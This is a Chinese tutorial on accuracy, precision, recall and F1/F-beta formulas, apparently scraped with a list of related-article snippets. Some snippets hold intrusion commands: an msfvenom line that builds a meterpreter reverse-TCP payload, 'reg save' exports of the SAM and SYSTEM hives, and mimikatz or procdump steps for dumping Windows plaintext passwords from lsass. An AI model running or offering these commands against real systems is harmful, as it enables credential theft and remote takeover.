准确率、精确率、召回率、F1-measure

article/2025/11/5 10:26:20

文章目录

    • 准确率(Accuracy)
    • 精确率(precision)
    • 召回率(recall)
    • F1-measure值
    • 学习理解网站

在这里插入图片描述

-p’(Predicted)n’(Predicted)
p(Actual)True PositiveFalse Negtive
n(Actual)False PositiveTrue Negtive

准确率(Accuracy)

A = No.Samples Predicted Correctly Total No.of Samples = T P + T N P + N (1) A=\frac{\text{No.Samples Predicted Correctly}}{\text{Total No.of Samples}}=\frac{TP+TN}{P+N}\tag1 A=Total No.of SamplesNo.Samples Predicted Correctly=P+NTP+TN(1)

对于给定的测试数据集,分类器正确分类的样本数与总样本数之比。

精确率(precision)

P = T P T P + F P (2) P=\frac{TP}{TP+FP}\tag2 P=TP+FPTP(2)
计算的是所有"正确被检索的item(TP)占所有"实际被检索到的(TP+FP)的比例。预测为正的样本中有多少是真正的正样本,它是针对我们预测结果而言的。Precision又称为查准率。

召回率(recall)

计算的是所有“正确被检索的item(TP)”占所有"应该检索到的item(TP+FN)”的比例。样本中的正例有多少被预测正确了, 它是针对我们原来的样本而言的。Recall又称为查全率。召回率关注的是分类器正确识别出的正例占所有实际正例的比例,可以反映出模型在识别正例上的能力

R = T P T P + F N (3) R=\frac{TP}{TP+FN}\tag3 R=TP+FNTP(3)

  • 真正例(True Positive, TP):实际为正例且被模型预测为正例的样本数量;
  • 假负例(False Negative, FN):实际为正例但被模型预测为负例的样本数量。

F1-measure值

F1-measure值是一种统计量,是Precision和统计量加权调和平均的一个评价标准。

F β = ( β 2 + 1 ) P R β 2 ⋅ P + R (4) F_{\beta}=\frac{\left(\beta^{2}+1\right) P R}{\beta^{2} \cdot P+R}\tag4 Fβ=β2P+R(β2+1)PR(4)
A more general F score, F β F_\beta Fβ, that uses a positive real factor β \beta β, where β \beta β is chosen such that recall is considered β \beta β times as important as precision。

F 1 F_1 F1定义为调和均值
2 F 1 = 1 P + 1 R (5) \frac{2}{F_{1}}=\frac{1}{P}+\frac{1}{R}\tag5 F12=P1+R1(5)
调整下也就是
F 1 = 2 P R P + R = 2 T P 2 T P + F P + F N (6) F_{1}=\frac{2 P R}{P+R}=\frac{2 T P}{2 T P+F P+F N}\tag6 F1=P+R2PR=2TP+FP+FN2TP(6)

当参数 β \beta β=1时,式 ( 6 ) (6) (6)就是最常见的F1-Measure形式。

学习理解网站

这是一个链接 F β 学习网址 F_{\beta}学习网址 Fβ学习网址。看完博客不理解的话可以在B站上学习,视频以Nike鞋子举例,说明为什么要多种的统计量来衡量模型优劣。


http://chatgpt.dhexx.cn/article/gO8YdH6R.shtml

相关文章

评价指标(一)精确率,召回率,F1-score

1. 精确率-Precision、召回率Recall 先来讲一下精确率(Precision)和准确率(Recall),首先要明确一点,精确率不等于准确率(Accuracy),两者是不同的,后面也会讲到准确率。在信息检索里,精确率和召…

错误接受率 (FAR), 错误拒绝率(FRR), 等错误率(EER)

不管是声纹识别和图像识别,以及指纹识别,在评价模型时总要用到这三个指标。下边说下这三个指标的含义。 1、错误接受率 (FAR-False Acceptance Rate) FAR nontarget_is_target / ( target_is_target nontarget_is_target ) 另一种比较容易理解的表示方…

Redis进阶:布隆过滤器(Bloom Filter)及误判率数学推导

1 缘起 有一次偶然间听到有同事在说某个项目中使用了布隆过滤器, 哎呦,我去,我竟然不知道啥是布隆过滤器, 这我哪能忍?其实,也可以忍,但是,可能有的面试官不能忍!&#…

机器学习中准确率、精确率、召回率、误报率、漏报率、F1-Score、APmAP、AUC、MAE、MAPE、MSE、RMSE、R-Squared等指标的定义和说明

在机器学习和深度学习用于异常检测(Anomaly detection)、电子商务(E-commerce)、信息检索(Information retrieval, IR)等领域任务(Task)中,有很多的指标来判断机器学习和深度学习效果的好坏。这些指标有相互权衡的,有相互背向的,所以往往需要根据实际的任务和场景来…

讨教大学|六西格玛之属性值数据一致性分析

相信大家在日常的工作中肯定会遇到这样一种情况:产品的质量特性属于外观特性,即 需要靠人工判断产品是不是符合标准。当遇到客户投诉,或者内部报废率比较高的时候,经 常会遇到客户和领导的挑战: 如何保证员工清楚的知…

布隆过滤器原理和基于BloomFilter的误判率展示

布隆过滤器 布隆过滤器原理 布隆过滤器是由n个Hash函数和一个二进制数组组成。 如图所示(参考,hash函数可以多个) 1.保存操作 发来一个请求数据hello对数据hello经过三次hash运算,分别得到三个值(假设1&#xff0…

布隆过滤器的误判率该如何计算?

作者:胡慢慢滚雪球 链接:https://www.zhihu.com/question/38573286/answer/507497251 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 在计算机中,判断一个元素是不是在一个集合中…

神器 mimikatz - 直接抓取 Windows 明文密码

昨天有朋友发了个法国佬写的神器叫 mimikatz让我们看下 神器下载地址: http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-password…

加密连接数据库明文密码

我的其他笔记有记录过加密算法,这里不一一阐述,用DES对MySQL用户名和密码加密,然后在spring-dao.xml中配置中解密,需要新建一个解密类注册到xml中。 解密类: package com.mlr.util;import org.springframework.beans…

Spring boot 配置文件明文密码加解密

jasypt 是一个简单易用的加密Java库,使用起来非常简单。 现在我们系统中的一些配置文件中密码还是暴露的,打开配置文件,就能看到密码,如图: 这情况我们如果不想让别人看到数据库密码,所以就要对数据库密码进行加解密 通过jasypt 就可以简单实现 使用方法: 以spring b…

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换 1.引入maven2.添加配置(yml格式的;properties 和 yml 在线转换)3.找到maven仓库下:org\jasypt\jasypt\1.9.3将内容进行加密4.常见问题及排查方法 1.引入maven…

在Win10系统中用mimikatz抓取明文密码

实验环境 :Windows10专业版 参考了网上的方法,发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章,都被转烂了,这一篇文章是对的,但是路径上还是有点小问题的,…

meterpreter下抓取windows系统明文密码实验

虚拟机:kali | Win7 工具:msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf,选择模块,配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密,造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存(按altF9) 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中,需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息,都需要保存在配置文件里,或者配置中心。 这些信息如果泄露,还是会造成一定的困扰,这里介绍2种处理方案: 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面: 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面: 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章,内容主要是在内网渗透中获得明文密码的两种方式。,在笔者看来,两…

Navicat导出链接查看数据库明文密码

测试环境:Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址:navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…

Windows10明文密码抓取

procdumpmimikatz获取win10用户明文密码 测试环境:Win10 企业版LTSC 1809 工具下载:k8版本的mz64.exe、procdumpv9.0 原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 利用前提:拿到了admin…

开发反模式 - 明文密码

开发反模式 - 明文密码 一、目标:恢复或重置密码 每个有密码的程序都会碰到用户忘记密码的情况,现今大多数程序都通过E-mail的回馈机制让用户恢复或者重置密码。这个解决方案有一个前提,这个服务有一个前提,就是这个用户能够访问他…